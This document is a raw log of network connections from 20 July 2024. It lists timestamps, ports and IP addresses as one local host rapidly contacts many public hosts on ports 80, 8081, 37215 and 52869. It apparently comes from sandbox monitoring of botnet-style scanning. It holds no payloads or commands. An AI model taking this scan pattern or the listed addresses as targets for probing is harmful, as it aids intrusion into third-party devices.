Jul 20, 2024 23:01:01.853396893 CEST	80	39042	88.169.191.113	192.168.2.13
Jul 20, 2024 23:01:01.853437901 CEST	39042	80	192.168.2.13	88.169.191.113
Jul 20, 2024 23:01:01.854615927 CEST	37215	59930	89.176.16.102	192.168.2.13
Jul 20, 2024 23:01:01.854648113 CEST	8081	46646	221.158.28.228	192.168.2.13
Jul 20, 2024 23:01:01.854655981 CEST	59930	37215	192.168.2.13	89.176.16.102
Jul 20, 2024 23:01:01.854656935 CEST	80	45048	88.120.148.226	192.168.2.13
Jul 20, 2024 23:01:01.855202913 CEST	37215	51442	41.58.206.220	192.168.2.13
Jul 20, 2024 23:01:01.855736971 CEST	33230	8081	192.168.2.13	4.17.149.227
Jul 20, 2024 23:01:01.855894089 CEST	53878	80	192.168.2.13	88.41.172.45
Jul 20, 2024 23:01:01.855894089 CEST	53878	80	192.168.2.13	88.41.172.45
Jul 20, 2024 23:01:01.856412888 CEST	45408	37215	192.168.2.13	41.59.60.215
Jul 20, 2024 23:01:01.856414080 CEST	40074	80	192.168.2.13	88.96.232.196
Jul 20, 2024 23:01:01.856420040 CEST	33916	52869	192.168.2.13	162.26.5.38
Jul 20, 2024 23:01:01.856420040 CEST	51442	37215	192.168.2.13	41.58.206.220
Jul 20, 2024 23:01:01.856601954 CEST	46646	8081	192.168.2.13	221.158.28.228
Jul 20, 2024 23:01:01.856601954 CEST	45048	80	192.168.2.13	88.120.148.226
Jul 20, 2024 23:01:01.858429909 CEST	8081	40548	211.150.198.165	192.168.2.13
Jul 20, 2024 23:01:01.858516932 CEST	80	59698	88.104.112.235	192.168.2.13
Jul 20, 2024 23:01:01.858525038 CEST	37215	36402	157.122.230.247	192.168.2.13
Jul 20, 2024 23:01:01.858532906 CEST	52869	60250	71.112.213.237	192.168.2.13
Jul 20, 2024 23:01:01.858810902 CEST	80	54976	88.235.101.168	192.168.2.13
Jul 20, 2024 23:01:01.858901978 CEST	8081	40934	80.68.41.88	192.168.2.13
Jul 20, 2024 23:01:01.858911037 CEST	80	44570	88.62.154.187	192.168.2.13
Jul 20, 2024 23:01:01.858944893 CEST	40934	8081	192.168.2.13	80.68.41.88
Jul 20, 2024 23:01:01.859107018 CEST	46290	8081	192.168.2.13	134.203.83.23
Jul 20, 2024 23:01:01.859107018 CEST	46290	8081	192.168.2.13	134.203.83.23
Jul 20, 2024 23:01:01.859340906 CEST	54622	80	192.168.2.13	88.41.172.45
Jul 20, 2024 23:01:01.859474897 CEST	52869	46252	221.85.136.10	192.168.2.13
Jul 20, 2024 23:01:01.859575033 CEST	54996	37215	192.168.2.13	197.141.132.83
Jul 20, 2024 23:01:01.859642982 CEST	46252	52869	192.168.2.13	221.85.136.10
Jul 20, 2024 23:01:01.859935045 CEST	8081	35956	70.115.97.135	192.168.2.13
Jul 20, 2024 23:01:01.859945059 CEST	8081	60608	4.17.149.227	192.168.2.13
Jul 20, 2024 23:01:01.859954119 CEST	80	45314	88.62.154.187	192.168.2.13
Jul 20, 2024 23:01:01.859994888 CEST	45314	80	192.168.2.13	88.62.154.187
Jul 20, 2024 23:01:01.860413074 CEST	59698	80	192.168.2.13	88.104.112.235
Jul 20, 2024 23:01:01.860414982 CEST	36402	37215	192.168.2.13	157.122.230.247
Jul 20, 2024 23:01:01.860414982 CEST	35956	8081	192.168.2.13	70.115.97.135
Jul 20, 2024 23:01:01.860420942 CEST	60250	52869	192.168.2.13	71.112.213.237
Jul 20, 2024 23:01:01.860548019 CEST	40548	8081	192.168.2.13	211.150.198.165
Jul 20, 2024 23:01:01.860676050 CEST	37215	50408	41.174.42.115	192.168.2.13
Jul 20, 2024 23:01:01.860688925 CEST	8081	59574	183.41.184.24	192.168.2.13
Jul 20, 2024 23:01:01.860712051 CEST	50408	37215	192.168.2.13	41.174.42.115
Jul 20, 2024 23:01:01.862466097 CEST	39234	52869	192.168.2.13	173.204.137.85
Jul 20, 2024 23:01:01.862848043 CEST	47146	8081	192.168.2.13	134.203.83.23
Jul 20, 2024 23:01:01.863188982 CEST	42998	80	192.168.2.13	88.211.58.217
Jul 20, 2024 23:01:01.863317013 CEST	42998	80	192.168.2.13	88.211.58.217
Jul 20, 2024 23:01:01.865477085 CEST	8081	33230	4.17.149.227	192.168.2.13
Jul 20, 2024 23:01:01.865487099 CEST	8081	59802	189.255.174.137	192.168.2.13
Jul 20, 2024 23:01:01.865514994 CEST	33230	8081	192.168.2.13	4.17.149.227
Jul 20, 2024 23:01:01.865689039 CEST	44512	8081	192.168.2.13	197.205.114.143
Jul 20, 2024 23:01:01.865689039 CEST	44512	8081	192.168.2.13	197.205.114.143
Jul 20, 2024 23:01:01.865767002 CEST	80	57836	88.53.65.5	192.168.2.13
Jul 20, 2024 23:01:01.865776062 CEST	80	53878	88.41.172.45	192.168.2.13
Jul 20, 2024 23:01:01.865803957 CEST	8081	46290	134.203.83.23	192.168.2.13
Jul 20, 2024 23:01:01.865813017 CEST	80	54622	88.41.172.45	192.168.2.13
Jul 20, 2024 23:01:01.865822077 CEST	37215	54996	197.141.132.83	192.168.2.13
Jul 20, 2024 23:01:01.865844011 CEST	43742	80	192.168.2.13	88.211.58.217
Jul 20, 2024 23:01:01.866022110 CEST	54996	37215	192.168.2.13	197.141.132.83
Jul 20, 2024 23:01:01.866023064 CEST	54622	80	192.168.2.13	88.41.172.45
Jul 20, 2024 23:01:01.866213083 CEST	36190	37215	192.168.2.13	91.112.89.216
Jul 20, 2024 23:01:01.868578911 CEST	45368	8081	192.168.2.13	197.205.114.143
Jul 20, 2024 23:01:01.869065046 CEST	52869	39234	173.204.137.85	192.168.2.13
Jul 20, 2024 23:01:01.869064093 CEST	48054	80	192.168.2.13	88.76.253.23
Jul 20, 2024 23:01:01.869064093 CEST	48054	80	192.168.2.13	88.76.253.23
Jul 20, 2024 23:01:01.869134903 CEST	39234	52869	192.168.2.13	173.204.137.85
Jul 20, 2024 23:01:01.869966984 CEST	8081	47146	134.203.83.23	192.168.2.13
Jul 20, 2024 23:01:01.870007992 CEST	47146	8081	192.168.2.13	134.203.83.23
Jul 20, 2024 23:01:01.870934010 CEST	80	42998	88.211.58.217	192.168.2.13
Jul 20, 2024 23:01:01.871063948 CEST	44656	8081	192.168.2.13	133.44.79.146
Jul 20, 2024 23:01:01.871063948 CEST	44656	8081	192.168.2.13	133.44.79.146
Jul 20, 2024 23:01:01.871475935 CEST	48796	80	192.168.2.13	88.76.253.23
Jul 20, 2024 23:01:01.871578932 CEST	39376	37215	192.168.2.13	41.79.65.151
Jul 20, 2024 23:01:01.871706009 CEST	32804	52869	192.168.2.13	176.69.59.228
Jul 20, 2024 23:01:01.873703957 CEST	8081	57098	160.246.149.90	192.168.2.13
Jul 20, 2024 23:01:01.873712063 CEST	80	46520	88.165.214.168	192.168.2.13
Jul 20, 2024 23:01:01.873977900 CEST	45514	8081	192.168.2.13	133.44.79.146
Jul 20, 2024 23:01:01.874085903 CEST	57550	80	192.168.2.13	88.98.173.186
Jul 20, 2024 23:01:01.874085903 CEST	57550	80	192.168.2.13	88.98.173.186
Jul 20, 2024 23:01:01.874254942 CEST	8081	44512	197.205.114.143	192.168.2.13
Jul 20, 2024 23:01:01.874275923 CEST	80	43742	88.211.58.217	192.168.2.13
Jul 20, 2024 23:01:01.874284983 CEST	37215	36190	91.112.89.216	192.168.2.13
Jul 20, 2024 23:01:01.874305964 CEST	36190	37215	192.168.2.13	91.112.89.216
Jul 20, 2024 23:01:01.874346018 CEST	43742	80	192.168.2.13	88.211.58.217
Jul 20, 2024 23:01:01.876678944 CEST	8081	45800	221.158.28.228	192.168.2.13
Jul 20, 2024 23:01:01.876904011 CEST	48228	8081	192.168.2.13	62.0.54.232
Jul 20, 2024 23:01:01.877008915 CEST	48228	8081	192.168.2.13	62.0.54.232
Jul 20, 2024 23:01:01.877105951 CEST	58290	80	192.168.2.13	88.98.173.186
Jul 20, 2024 23:01:01.877362013 CEST	60632	37215	192.168.2.13	201.248.6.28
Jul 20, 2024 23:01:01.878588915 CEST	8081	45368	197.205.114.143	192.168.2.13
Jul 20, 2024 23:01:01.878598928 CEST	80	48054	88.76.253.23	192.168.2.13
Jul 20, 2024 23:01:01.878638983 CEST	45368	8081	192.168.2.13	197.205.114.143
Jul 20, 2024 23:01:01.878695965 CEST	8081	44656	133.44.79.146	192.168.2.13
Jul 20, 2024 23:01:01.878881931 CEST	80	48796	88.76.253.23	192.168.2.13
Jul 20, 2024 23:01:01.879024029 CEST	52869	32804	176.69.59.228	192.168.2.13
Jul 20, 2024 23:01:01.879034996 CEST	37215	39376	41.79.65.151	192.168.2.13
Jul 20, 2024 23:01:01.879060030 CEST	32804	52869	192.168.2.13	176.69.59.228
Jul 20, 2024 23:01:01.879065990 CEST	39376	37215	192.168.2.13	41.79.65.151
Jul 20, 2024 23:01:01.879118919 CEST	48796	80	192.168.2.13	88.76.253.23
Jul 20, 2024 23:01:01.879439116 CEST	8081	45514	133.44.79.146	192.168.2.13
Jul 20, 2024 23:01:01.879447937 CEST	80	57550	88.98.173.186	192.168.2.13
Jul 20, 2024 23:01:01.879549026 CEST	45514	8081	192.168.2.13	133.44.79.146
Jul 20, 2024 23:01:01.879771948 CEST	49086	8081	192.168.2.13	62.0.54.232
Jul 20, 2024 23:01:01.879930019 CEST	36800	80	192.168.2.13	88.127.52.38
Jul 20, 2024 23:01:01.879930019 CEST	36800	80	192.168.2.13	88.127.52.38
Jul 20, 2024 23:01:01.880686045 CEST	80	39342	88.96.232.196	192.168.2.13
Jul 20, 2024 23:01:01.880696058 CEST	80	44312	88.120.148.226	192.168.2.13
Jul 20, 2024 23:01:01.881504059 CEST	46330	52869	192.168.2.13	165.95.243.107
Jul 20, 2024 23:01:01.882356882 CEST	56330	8081	192.168.2.13	125.215.67.139
Jul 20, 2024 23:01:01.882356882 CEST	56330	8081	192.168.2.13	125.215.67.139
Jul 20, 2024 23:01:01.882356882 CEST	37538	80	192.168.2.13	88.127.52.38
Jul 20, 2024 23:01:01.882420063 CEST	8081	48228	62.0.54.232	192.168.2.13
Jul 20, 2024 23:01:01.882442951 CEST	32890	37215	192.168.2.13	41.184.93.79
Jul 20, 2024 23:01:01.882678986 CEST	80	58290	88.98.173.186	192.168.2.13
Jul 20, 2024 23:01:01.882694960 CEST	37215	60632	201.248.6.28	192.168.2.13
Jul 20, 2024 23:01:01.882742882 CEST	60632	37215	192.168.2.13	201.248.6.28
Jul 20, 2024 23:01:01.882787943 CEST	58290	80	192.168.2.13	88.98.173.186
Jul 20, 2024 23:01:01.884531021 CEST	57190	8081	192.168.2.13	125.215.67.139
Jul 20, 2024 23:01:01.884959936 CEST	49854	80	192.168.2.13	88.2.182.131
Jul 20, 2024 23:01:01.884959936 CEST	49854	80	192.168.2.13	88.2.182.131
Jul 20, 2024 23:01:01.885559082 CEST	8081	49086	62.0.54.232	192.168.2.13
Jul 20, 2024 23:01:01.885607958 CEST	49086	8081	192.168.2.13	62.0.54.232
Jul 20, 2024 23:01:01.885924101 CEST	80	36800	88.127.52.38	192.168.2.13
Jul 20, 2024 23:01:01.886975050 CEST	52869	46330	165.95.243.107	192.168.2.13
Jul 20, 2024 23:01:01.887012959 CEST	46330	52869	192.168.2.13	165.95.243.107
Jul 20, 2024 23:01:01.887528896 CEST	8081	56330	125.215.67.139	192.168.2.13
Jul 20, 2024 23:01:01.887645006 CEST	46780	8081	192.168.2.13	118.206.223.154
Jul 20, 2024 23:01:01.887645006 CEST	46780	8081	192.168.2.13	118.206.223.154
Jul 20, 2024 23:01:01.887768984 CEST	37215	32890	41.184.93.79	192.168.2.13
Jul 20, 2024 23:01:01.887777090 CEST	50588	80	192.168.2.13	88.2.182.131
Jul 20, 2024 23:01:01.887808084 CEST	32890	37215	192.168.2.13	41.184.93.79
Jul 20, 2024 23:01:01.888025045 CEST	59616	37215	192.168.2.13	41.104.162.59
Jul 20, 2024 23:01:01.888276100 CEST	80	37538	88.127.52.38	192.168.2.13
Jul 20, 2024 23:01:01.888315916 CEST	37538	80	192.168.2.13	88.127.52.38
Jul 20, 2024 23:01:01.888684034 CEST	8081	39702	211.150.198.165	192.168.2.13
Jul 20, 2024 23:01:01.888694048 CEST	80	58958	88.104.112.235	192.168.2.13
Jul 20, 2024 23:01:01.890286922 CEST	47640	8081	192.168.2.13	118.206.223.154
Jul 20, 2024 23:01:01.890419006 CEST	8081	57190	125.215.67.139	192.168.2.13
Jul 20, 2024 23:01:01.890455008 CEST	57190	8081	192.168.2.13	125.215.67.139
Jul 20, 2024 23:01:01.890480995 CEST	80	49854	88.2.182.131	192.168.2.13
Jul 20, 2024 23:01:01.890806913 CEST	56900	80	192.168.2.13	88.95.77.252
Jul 20, 2024 23:01:01.890806913 CEST	56900	80	192.168.2.13	88.95.77.252
Jul 20, 2024 23:01:01.891258955 CEST	38692	52869	192.168.2.13	121.104.50.97
Jul 20, 2024 23:01:01.892765999 CEST	8081	46780	118.206.223.154	192.168.2.13
Jul 20, 2024 23:01:01.892859936 CEST	49436	8081	192.168.2.13	180.124.34.41
Jul 20, 2024 23:01:01.892859936 CEST	49436	8081	192.168.2.13	180.124.34.41
Jul 20, 2024 23:01:01.892999887 CEST	57634	80	192.168.2.13	88.95.77.252
Jul 20, 2024 23:01:01.893091917 CEST	80	50588	88.2.182.131	192.168.2.13
Jul 20, 2024 23:01:01.893131971 CEST	50588	80	192.168.2.13	88.2.182.131
Jul 20, 2024 23:01:01.893428087 CEST	47084	37215	192.168.2.13	197.151.215.75
Jul 20, 2024 23:01:01.893973112 CEST	37215	59616	41.104.162.59	192.168.2.13
Jul 20, 2024 23:01:01.894011974 CEST	59616	37215	192.168.2.13	41.104.162.59
Jul 20, 2024 23:01:01.895452976 CEST	50294	8081	192.168.2.13	180.124.34.41
Jul 20, 2024 23:01:01.895503998 CEST	8081	47640	118.206.223.154	192.168.2.13
Jul 20, 2024 23:01:01.895541906 CEST	47640	8081	192.168.2.13	118.206.223.154
Jul 20, 2024 23:01:01.896009922 CEST	51234	80	192.168.2.13	88.198.199.244
Jul 20, 2024 23:01:01.896009922 CEST	51234	80	192.168.2.13	88.198.199.244
Jul 20, 2024 23:01:01.896236897 CEST	80	56900	88.95.77.252	192.168.2.13
Jul 20, 2024 23:01:01.896600962 CEST	80	38300	88.169.191.113	192.168.2.13
Jul 20, 2024 23:01:01.896646023 CEST	8081	35104	70.115.97.135	192.168.2.13
Jul 20, 2024 23:01:01.896838903 CEST	52869	38692	121.104.50.97	192.168.2.13
Jul 20, 2024 23:01:01.897015095 CEST	38692	52869	192.168.2.13	121.104.50.97
Jul 20, 2024 23:01:01.897766113 CEST	8081	49436	180.124.34.41	192.168.2.13
Jul 20, 2024 23:01:01.898030996 CEST	49266	8081	192.168.2.13	114.77.67.205
Jul 20, 2024 23:01:01.898030996 CEST	49266	8081	192.168.2.13	114.77.67.205
Jul 20, 2024 23:01:01.898175001 CEST	51966	80	192.168.2.13	88.198.199.244
Jul 20, 2024 23:01:01.898370028 CEST	80	57634	88.95.77.252	192.168.2.13
Jul 20, 2024 23:01:01.898392916 CEST	57634	80	192.168.2.13	88.95.77.252
Jul 20, 2024 23:01:01.898406982 CEST	55220	37215	192.168.2.13	157.155.116.140
Jul 20, 2024 23:01:01.898768902 CEST	37215	47084	197.151.215.75	192.168.2.13
Jul 20, 2024 23:01:01.898950100 CEST	47084	37215	192.168.2.13	197.151.215.75
Jul 20, 2024 23:01:01.900398016 CEST	52718	52869	192.168.2.13	99.172.148.31
Jul 20, 2024 23:01:01.900784969 CEST	50126	8081	192.168.2.13	114.77.67.205
Jul 20, 2024 23:01:01.900866985 CEST	8081	40082	80.68.41.88	192.168.2.13
Jul 20, 2024 23:01:01.900937080 CEST	8081	60608	4.17.149.227	192.168.2.13
Jul 20, 2024 23:01:01.900944948 CEST	80	44570	88.62.154.187	192.168.2.13
Jul 20, 2024 23:01:01.901185036 CEST	8081	50294	180.124.34.41	192.168.2.13
Jul 20, 2024 23:01:01.901192904 CEST	46730	80	192.168.2.13	88.187.137.243
Jul 20, 2024 23:01:01.901192904 CEST	46730	80	192.168.2.13	88.187.137.243
Jul 20, 2024 23:01:01.901194096 CEST	80	51234	88.198.199.244	192.168.2.13
Jul 20, 2024 23:01:01.901565075 CEST	50294	8081	192.168.2.13	180.124.34.41
Jul 20, 2024 23:01:01.902941942 CEST	8081	49266	114.77.67.205	192.168.2.13
Jul 20, 2024 23:01:01.903004885 CEST	43370	8081	192.168.2.13	1.200.179.149
Jul 20, 2024 23:01:01.903004885 CEST	43370	8081	192.168.2.13	1.200.179.149
Jul 20, 2024 23:01:01.903125048 CEST	47460	80	192.168.2.13	88.187.137.243
Jul 20, 2024 23:01:01.903474092 CEST	80	51966	88.198.199.244	192.168.2.13
Jul 20, 2024 23:01:01.903510094 CEST	51966	80	192.168.2.13	88.198.199.244
Jul 20, 2024 23:01:01.903666019 CEST	52828	37215	192.168.2.13	197.245.177.60
Jul 20, 2024 23:01:01.904167891 CEST	37215	55220	157.155.116.140	192.168.2.13
Jul 20, 2024 23:01:01.904212952 CEST	55220	37215	192.168.2.13	157.155.116.140
Jul 20, 2024 23:01:01.905565023 CEST	52869	52718	99.172.148.31	192.168.2.13
Jul 20, 2024 23:01:01.906018019 CEST	8081	50126	114.77.67.205	192.168.2.13
Jul 20, 2024 23:01:01.906166077 CEST	37215	59930	89.176.16.102	192.168.2.13
Jul 20, 2024 23:01:01.906481981 CEST	80	46730	88.187.137.243	192.168.2.13
Jul 20, 2024 23:01:01.908457041 CEST	8081	43370	1.200.179.149	192.168.2.13
Jul 20, 2024 23:01:01.908777952 CEST	80	47460	88.187.137.243	192.168.2.13
Jul 20, 2024 23:01:01.910670996 CEST	37215	52828	197.245.177.60	192.168.2.13
Jul 20, 2024 23:01:01.912611961 CEST	8081	46290	134.203.83.23	192.168.2.13
Jul 20, 2024 23:01:01.912620068 CEST	80	53878	88.41.172.45	192.168.2.13
Jul 20, 2024 23:01:01.913549900 CEST	80	42998	88.211.58.217	192.168.2.13
Jul 20, 2024 23:01:01.914030075 CEST	50126	8081	192.168.2.13	114.77.67.205
Jul 20, 2024 23:01:01.915297985 CEST	52718	52869	192.168.2.13	99.172.148.31
Jul 20, 2024 23:01:01.916642904 CEST	8081	44512	197.205.114.143	192.168.2.13
Jul 20, 2024 23:01:01.920660973 CEST	80	57550	88.98.173.186	192.168.2.13
Jul 20, 2024 23:01:01.920670986 CEST	8081	44656	133.44.79.146	192.168.2.13
Jul 20, 2024 23:01:01.920680046 CEST	80	48054	88.76.253.23	192.168.2.13
Jul 20, 2024 23:01:01.922729015 CEST	8081	40934	80.68.41.88	192.168.2.13
Jul 20, 2024 23:01:01.924757957 CEST	8081	48228	62.0.54.232	192.168.2.13
Jul 20, 2024 23:01:01.927118063 CEST	59930	37215	192.168.2.13	89.176.16.102
Jul 20, 2024 23:01:01.928586006 CEST	8081	56330	125.215.67.139	192.168.2.13
Jul 20, 2024 23:01:01.928627968 CEST	80	36800	88.127.52.38	192.168.2.13
Jul 20, 2024 23:01:01.932307959 CEST	52869	46252	221.85.136.10	192.168.2.13
Jul 20, 2024 23:01:01.933043957 CEST	80	49854	88.2.182.131	192.168.2.13
Jul 20, 2024 23:01:01.934784889 CEST	80	45314	88.62.154.187	192.168.2.13
Jul 20, 2024 23:01:01.937047005 CEST	37215	50408	41.174.42.115	192.168.2.13
Jul 20, 2024 23:01:01.937066078 CEST	80	56900	88.95.77.252	192.168.2.13
Jul 20, 2024 23:01:01.937083960 CEST	8081	46780	118.206.223.154	192.168.2.13
Jul 20, 2024 23:01:01.945142984 CEST	8081	49436	180.124.34.41	192.168.2.13
Jul 20, 2024 23:01:01.945171118 CEST	8081	49266	114.77.67.205	192.168.2.13
Jul 20, 2024 23:01:01.945192099 CEST	80	51234	88.198.199.244	192.168.2.13
Jul 20, 2024 23:01:01.946535110 CEST	8081	33230	4.17.149.227	192.168.2.13
Jul 20, 2024 23:01:01.948622942 CEST	8081	43370	1.200.179.149	192.168.2.13
Jul 20, 2024 23:01:01.948931932 CEST	80	46730	88.187.137.243	192.168.2.13
Jul 20, 2024 23:01:01.949384928 CEST	37215	54996	197.141.132.83	192.168.2.13
Jul 20, 2024 23:01:01.952249050 CEST	80	54622	88.41.172.45	192.168.2.13
Jul 20, 2024 23:01:01.954137087 CEST	52869	39234	173.204.137.85	192.168.2.13
Jul 20, 2024 23:01:01.954893112 CEST	8081	47146	134.203.83.23	192.168.2.13
Jul 20, 2024 23:01:01.958705902 CEST	37215	36190	91.112.89.216	192.168.2.13
Jul 20, 2024 23:01:01.959018946 CEST	80	43742	88.211.58.217	192.168.2.13
Jul 20, 2024 23:01:01.965369940 CEST	8081	45368	197.205.114.143	192.168.2.13
Jul 20, 2024 23:01:01.966871023 CEST	37215	39376	41.79.65.151	192.168.2.13
Jul 20, 2024 23:01:01.969930887 CEST	44230	8081	192.168.2.13	1.200.179.149
Jul 20, 2024 23:01:01.970187902 CEST	47460	80	192.168.2.13	88.187.137.243
Jul 20, 2024 23:01:01.971685886 CEST	8081	45514	133.44.79.146	192.168.2.13
Jul 20, 2024 23:01:01.972625017 CEST	52869	32804	176.69.59.228	192.168.2.13
Jul 20, 2024 23:01:01.974328995 CEST	45314	80	192.168.2.13	88.62.154.187
Jul 20, 2024 23:01:01.974807978 CEST	37215	60632	201.248.6.28	192.168.2.13
Jul 20, 2024 23:01:01.976454020 CEST	80	58290	88.98.173.186	192.168.2.13
Jul 20, 2024 23:01:01.978533030 CEST	8081	49086	62.0.54.232	192.168.2.13
Jul 20, 2024 23:01:01.978748083 CEST	52869	46330	165.95.243.107	192.168.2.13
Jul 20, 2024 23:01:01.980420113 CEST	37215	32890	41.184.93.79	192.168.2.13
Jul 20, 2024 23:01:01.981318951 CEST	80	37538	88.127.52.38	192.168.2.13
Jul 20, 2024 23:01:01.981901884 CEST	8081	44230	1.200.179.149	192.168.2.13
Jul 20, 2024 23:01:01.982403994 CEST	46330	52869	192.168.2.13	165.95.243.107
Jul 20, 2024 23:01:01.982403994 CEST	44230	8081	192.168.2.13	1.200.179.149
Jul 20, 2024 23:01:01.982871056 CEST	8081	57190	125.215.67.139	192.168.2.13
Jul 20, 2024 23:01:01.984232903 CEST	52828	37215	192.168.2.13	197.245.177.60
Jul 20, 2024 23:01:01.984544992 CEST	80	50588	88.2.182.131	192.168.2.13
Jul 20, 2024 23:01:01.984997034 CEST	57190	8081	192.168.2.13	125.215.67.139
Jul 20, 2024 23:01:01.985757113 CEST	37215	59616	41.104.162.59	192.168.2.13
Jul 20, 2024 23:01:01.988343000 CEST	8081	47640	118.206.223.154	192.168.2.13
Jul 20, 2024 23:01:01.988360882 CEST	52869	38692	121.104.50.97	192.168.2.13
Jul 20, 2024 23:01:01.988415956 CEST	50588	80	192.168.2.13	88.2.182.131
Jul 20, 2024 23:01:01.988945007 CEST	80	57634	88.95.77.252	192.168.2.13
Jul 20, 2024 23:01:01.990839005 CEST	37215	47084	197.151.215.75	192.168.2.13
Jul 20, 2024 23:01:01.991899967 CEST	8081	50294	180.124.34.41	192.168.2.13
Jul 20, 2024 23:01:01.992969036 CEST	80	51966	88.198.199.244	192.168.2.13
Jul 20, 2024 23:01:01.993143082 CEST	37215	55220	157.155.116.140	192.168.2.13
Jul 20, 2024 23:01:01.993829012 CEST	39376	37215	192.168.2.13	41.79.65.151
Jul 20, 2024 23:01:01.994760036 CEST	8081	50126	114.77.67.205	192.168.2.13
Jul 20, 2024 23:01:01.995177984 CEST	46252	52869	192.168.2.13	221.85.136.10
Jul 20, 2024 23:01:01.995239973 CEST	52869	52718	99.172.148.31	192.168.2.13
Jul 20, 2024 23:01:01.995471954 CEST	80	47460	88.187.137.243	192.168.2.13
Jul 20, 2024 23:01:01.995532990 CEST	8081	44230	1.200.179.149	192.168.2.13
Jul 20, 2024 23:01:01.995918989 CEST	37215	52828	197.245.177.60	192.168.2.13
Jul 20, 2024 23:01:01.996525049 CEST	44230	8081	192.168.2.13	1.200.179.149
Jul 20, 2024 23:01:01.996525049 CEST	50126	8081	192.168.2.13	114.77.67.205
Jul 20, 2024 23:01:01.996526003 CEST	55220	37215	192.168.2.13	157.155.116.140
Jul 20, 2024 23:01:01.996526003 CEST	51966	80	192.168.2.13	88.198.199.244
Jul 20, 2024 23:01:01.999788046 CEST	54622	80	192.168.2.13	88.41.172.45
Jul 20, 2024 23:01:02.000761986 CEST	40934	8081	192.168.2.13	80.68.41.88
Jul 20, 2024 23:01:02.003597975 CEST	50408	37215	192.168.2.13	41.174.42.115
Jul 20, 2024 23:01:02.006316900 CEST	33230	8081	192.168.2.13	4.17.149.227
Jul 20, 2024 23:01:02.006316900 CEST	54996	37215	192.168.2.13	197.141.132.83
Jul 20, 2024 23:01:02.006316900 CEST	43742	80	192.168.2.13	88.211.58.217
Jul 20, 2024 23:01:02.017748117 CEST	58290	80	192.168.2.13	88.98.173.186
Jul 20, 2024 23:01:02.017748117 CEST	32890	37215	192.168.2.13	41.184.93.79
Jul 20, 2024 23:01:02.017748117 CEST	50294	8081	192.168.2.13	180.124.34.41
Jul 20, 2024 23:01:02.020498991 CEST	36190	37215	192.168.2.13	91.112.89.216
Jul 20, 2024 23:01:02.023432016 CEST	45514	8081	192.168.2.13	133.44.79.146
Jul 20, 2024 23:01:02.028237104 CEST	45368	8081	192.168.2.13	197.205.114.143
Jul 20, 2024 23:01:02.034435034 CEST	47146	8081	192.168.2.13	134.203.83.23
Jul 20, 2024 23:01:02.034435034 CEST	39234	52869	192.168.2.13	173.204.137.85
Jul 20, 2024 23:01:02.036601067 CEST	49086	8081	192.168.2.13	62.0.54.232
Jul 20, 2024 23:01:02.042582989 CEST	47640	8081	192.168.2.13	118.206.223.154
Jul 20, 2024 23:01:02.043906927 CEST	38692	52869	192.168.2.13	121.104.50.97
Jul 20, 2024 23:01:02.043906927 CEST	47460	80	192.168.2.13	88.187.137.243
Jul 20, 2024 23:01:02.043906927 CEST	52828	37215	192.168.2.13	197.245.177.60
Jul 20, 2024 23:01:02.045020103 CEST	60632	37215	192.168.2.13	201.248.6.28
Jul 20, 2024 23:01:02.056777000 CEST	57634	80	192.168.2.13	88.95.77.252
Jul 20, 2024 23:01:02.060059071 CEST	32804	52869	192.168.2.13	176.69.59.228
Jul 20, 2024 23:01:02.062159061 CEST	59616	37215	192.168.2.13	41.104.162.59
Jul 20, 2024 23:01:02.062159061 CEST	47084	37215	192.168.2.13	197.151.215.75
Jul 20, 2024 23:01:02.062159061 CEST	52718	52869	192.168.2.13	99.172.148.31
Jul 20, 2024 23:01:02.073715925 CEST	37538	80	192.168.2.13	88.127.52.38
Jul 20, 2024 23:01:02.117665052 CEST	54982	80	192.168.2.13	88.142.110.16
Jul 20, 2024 23:01:02.117665052 CEST	54982	80	192.168.2.13	88.142.110.16
Jul 20, 2024 23:01:02.124624968 CEST	54982	80	192.168.2.13	88.142.110.16
Jul 20, 2024 23:01:02.130357027 CEST	80	54982	88.142.110.16	192.168.2.13
Jul 20, 2024 23:01:02.136042118 CEST	80	54982	88.142.110.16	192.168.2.13
Jul 20, 2024 23:01:02.266354084 CEST	42300	8081	192.168.2.13	74.74.185.154
Jul 20, 2024 23:01:02.266484022 CEST	42300	8081	192.168.2.13	74.74.185.154
Jul 20, 2024 23:01:02.266494036 CEST	60948	37215	192.168.2.13	157.171.147.236
Jul 20, 2024 23:01:02.267713070 CEST	55710	80	192.168.2.13	88.142.110.16
Jul 20, 2024 23:01:02.268470049 CEST	60044	52869	192.168.2.13	114.0.228.232
Jul 20, 2024 23:01:02.271564007 CEST	8081	42300	74.74.185.154	192.168.2.13
Jul 20, 2024 23:01:02.271596909 CEST	37215	60948	157.171.147.236	192.168.2.13
Jul 20, 2024 23:01:02.271636009 CEST	60948	37215	192.168.2.13	157.171.147.236
Jul 20, 2024 23:01:02.272557974 CEST	46970	80	192.168.2.13	88.1.204.170
Jul 20, 2024 23:01:02.272557974 CEST	46970	80	192.168.2.13	88.1.204.170
Jul 20, 2024 23:01:02.272870064 CEST	80	55710	88.142.110.16	192.168.2.13
Jul 20, 2024 23:01:02.272934914 CEST	55710	80	192.168.2.13	88.142.110.16
Jul 20, 2024 23:01:02.274197102 CEST	52869	60044	114.0.228.232	192.168.2.13
Jul 20, 2024 23:01:02.274275064 CEST	54026	37215	192.168.2.13	197.146.235.18
Jul 20, 2024 23:01:02.274286032 CEST	60044	52869	192.168.2.13	114.0.228.232
Jul 20, 2024 23:01:02.274678946 CEST	59952	8081	192.168.2.13	60.80.104.64
Jul 20, 2024 23:01:02.274678946 CEST	59952	8081	192.168.2.13	60.80.104.64
Jul 20, 2024 23:01:02.274888992 CEST	47698	80	192.168.2.13	88.1.204.170
Jul 20, 2024 23:01:02.276803017 CEST	37215	60948	157.171.147.236	192.168.2.13
Jul 20, 2024 23:01:02.278197050 CEST	80	46970	88.1.204.170	192.168.2.13
Jul 20, 2024 23:01:02.278789997 CEST	43164	8081	192.168.2.13	74.74.185.154
Jul 20, 2024 23:01:02.279597044 CEST	37215	54026	197.146.235.18	192.168.2.13
Jul 20, 2024 23:01:02.279633999 CEST	54026	37215	192.168.2.13	197.146.235.18
Jul 20, 2024 23:01:02.279938936 CEST	8081	59952	60.80.104.64	192.168.2.13
Jul 20, 2024 23:01:02.280185938 CEST	80	47698	88.1.204.170	192.168.2.13
Jul 20, 2024 23:01:02.280328035 CEST	47698	80	192.168.2.13	88.1.204.170
Jul 20, 2024 23:01:02.280597925 CEST	60816	8081	192.168.2.13	60.80.104.64
Jul 20, 2024 23:01:02.280797005 CEST	80	55710	88.142.110.16	192.168.2.13
Jul 20, 2024 23:01:02.281914949 CEST	8081	41800	38.152.182.189	192.168.2.13
